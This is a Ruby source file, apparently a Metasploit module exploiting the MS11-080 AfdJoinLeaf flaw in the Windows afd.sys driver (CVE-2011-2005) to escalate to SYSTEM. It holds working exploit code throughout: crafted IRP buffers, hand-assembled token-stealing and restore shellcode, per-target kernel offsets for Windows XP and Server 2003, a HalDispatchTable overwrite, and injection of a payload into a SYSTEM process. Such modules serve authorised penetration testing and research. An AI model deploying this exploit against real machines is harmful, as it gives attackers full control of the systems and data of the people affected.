222 lines
7.8 KiB
Ruby
222 lines
7.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/exploit/local/windows_kernel'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = AverageRanking
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# Average because this module relies on memory corruption within the
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# kernel, this is inherently dangerous. Also if the payload casues
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# the system process that it was injected into to die then it's also
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# possible that the system may become unstable.
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include Msf::Exploit::Local::WindowsKernel
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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def initialize(info = {})
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super(update_info(info, {
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'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
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'Description' => %q(
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This module exploits a flaw in the AfdJoinLeaf function of the
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afd.sys driver to overwrite data in kernel space. An address
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within the HalDispatchTable is overwritten and when triggered
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with a call to NtQueryIntervalProfile will execute shellcode.
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This module will elevate itself to SYSTEM, then inject the payload
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into another SYSTEM process before restoring it's own token to
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avoid causing system instability.
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),
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Matteo Memelli', # original exploit and all the hard work
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'Spencer McIntyre' # MSF module
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],
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'Arch' => [ARCH_X86],
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter'],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Targets' =>
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[
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['Automatic', {}],
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['Windows XP SP2 / SP3',
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{
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'HaliQuerySystemInfo' => 0x16bba,
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'HalpSetSystemInformation' => 0x19436,
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'_KPROCESS' => "\x44",
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'_TOKEN' => "\xc8",
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'_UPID' => "\x84",
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'_APLINKS' => "\x88"
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}
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],
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['Windows Server 2003 SP2',
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{
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'HaliQuerySystemInfo' => 0x1fa1e,
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'HalpSetSystemInformation' => 0x21c60,
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'_KPROCESS' => "\x38",
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'_TOKEN' => "\xd8",
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'_UPID' => "\x94",
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'_APLINKS' => "\x98"
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}
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]
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],
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'References' =>
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[
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%w(CVE 2011-2005),
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%w(OSVDB 76232),
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%w(EDB 18176),
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%w(MSB MS11-080),
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%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
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],
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'DisclosureDate' => 'Nov 30 2011',
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'DefaultTarget' => 0
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}))
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end
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# Function borrowed from smart_hashdump
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def get_system_proc
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# Make sure you got the correct SYSTEM Account Name no matter the OS Language
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local_sys = resolve_sid('S-1-5-18')
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system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
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# Processes that can Blue Screen a host if migrated in to
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dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
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session.sys.process.processes.each do |p|
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# Check we are not migrating to a process that can BSOD the host
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next if dangerous_processes.include?(p['name'])
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next if p['pid'] == session.sys.process.getpid
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next if p['pid'] == 4
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next if p['user'] != system_account_name
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return p
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end
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end
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def exploit
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if sysinfo['Architecture'] =~ /wow64/i
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print_error('Running against WOW64 is not supported')
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return
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elsif sysinfo['Architecture'] =~ /x64/
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print_error('Running against 64-bit systems is not supported')
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return
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end
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mytarget = target
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if mytarget.name =~ /Automatic/
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os = sysinfo['OS']
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mytarget = targets[1] if os =~ /windows xp/i
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mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
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if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
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mytarget = targets[2]
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end
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if mytarget.name =~ /Automatic/
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print_error('Could not identify the target system, it may not be supported')
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return
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end
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print_status("Running against #{mytarget.name}")
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end
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if is_system?
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print_error('This meterpreter session is already running as SYSTE')
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return
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end
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this_proc = session.sys.process.open
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base_addr = 0x1001
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result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
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socket = result['return']
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irpstuff = rand_text_alpha(8)
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irpstuff << "\x00\x00\x00\x00"
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irpstuff << rand_text_alpha(4)
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irpstuff << "\x01\x00\x00\x00"
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irpstuff << "\xe8\x00\x34\xf0\x00"
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irpstuff << rand_text_alpha(231)
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unless this_proc.memory.writable?(0x1000)
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session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
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end
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unless this_proc.memory.writable?(0x1000)
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print_error('Failed to properly allocate memory')
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return
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end
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this_proc.memory.write(0x1000, irpstuff)
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haldispatchtable = find_haldispatchtable
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return if haldispatchtable.nil?
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halbase = find_sys_base('hal.dll')[0]
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hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
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hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
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print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
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print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")
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#### Exploitation ####
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shellcode_address_dep = 0x0002071e
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shellcode_address_nodep = 0x000207b8
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padding = make_nops(2)
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backup_token = 0x20900
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restore_ptrs = "\x31\xc0"
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restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
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restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
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restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
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restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')
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restore_token = "\x52"
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restore_token << "\x33\xc0"
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restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
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restore_token << "\x8b\x40" + mytarget['_KPROCESS']
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restore_token << "\x8b\x15" + [backup_token].pack('V')
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restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
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restore_token << "\x5a"
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restore_token << "\xc2\x10"
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shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)
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this_proc.memory.write(shellcode_address_dep, shellcode)
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this_proc.memory.write(shellcode_address_nodep, shellcode)
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this_proc.memory.protect(0x00020000)
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addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
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result = session.railgun.ws2_32.connect(socket, addr, addr.length)
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if result['return'] != 0xffffffff
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print_error('The socket is not in the correct state')
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return
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end
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print_status('Triggering AFDJoinLeaf pointer overwrite...')
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session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
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session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
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unless is_system?
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print_error('Exploit failed')
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return
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end
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proc = get_system_proc
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print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
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unless execute_shellcode(payload.encoded, nil, proc['pid'])
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print_error('An error occurred while executing the payload')
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end
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# Restore the token because apparently BSODs are frowned upon
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print_status('Restoring the original token...')
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shellcode = padding + restore_ptrs + restore_token
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this_proc.memory.write(shellcode_address_dep, shellcode)
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this_proc.memory.write(shellcode_address_nodep, shellcode)
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session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
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session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
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end
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end
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